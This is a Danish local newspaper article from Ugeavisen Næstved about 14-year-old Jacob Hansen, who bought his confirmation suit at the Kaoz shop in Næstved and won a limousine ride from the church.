Jacob Hansen i jakkesæt og tur i fed limousine - sn.dk - Forsiden - Midt-Sydsjælland - Næstved ugeaviser - Ugeavisen Næstved\nRasmus Jørgensen og chauffør Jan Kock overrækker Jacob Hansen gavekortet på en konfirmationstur i limousine fra firmaet Limo2You. Far og mor samt søsteren Sofia, der alle står bagved til højre, samt Jacobs bror der ikke kunne være til stede, bliver inviteret med på turen. Foto: Per Witt\nArtiklen: Jacob Hansen i jakkesæt og tur i fed limousine\nJacob Hansen i jakkesæt og tur i fed limousine\nUgeavisen Næstved - 20. februar 2019 kl. 14:53\nVinder 14-årige Jacob Hansen fra Vordingborg var forleden taget til Næstved med sine forældre for at finde det helt rigtige konfirmationsdress til den store dag 12. maj i Vor Frue Kirke i Vordingborg.\nTøjet - et smart jakkesæt i sort og hvidt - fandt han, og det var hos Kaoz i Torvestræde - og turen fra kirken vandt han samme sted. Det bliver i en kæmpestor limousine med Jan Kock fra firmaet Limo2You som chauffør.\nVenner kan køre med\nI torsdags kom han samt far, mor og søster Sofia forbi Rasmus Jørgensen i Kaoz for at få overrakt gavekortet på køreturen. Og naturligvis kom Jan Kock forbi for at vise firmaets nyeste dollargrin frem.\nHer kan hele Jacob Hansens familie være på konfirmationsdagen - og tilmed invitere et par stykker mere med, hvis han har lyst. For plads er der nok af i det omkring ni meter lange køretøj.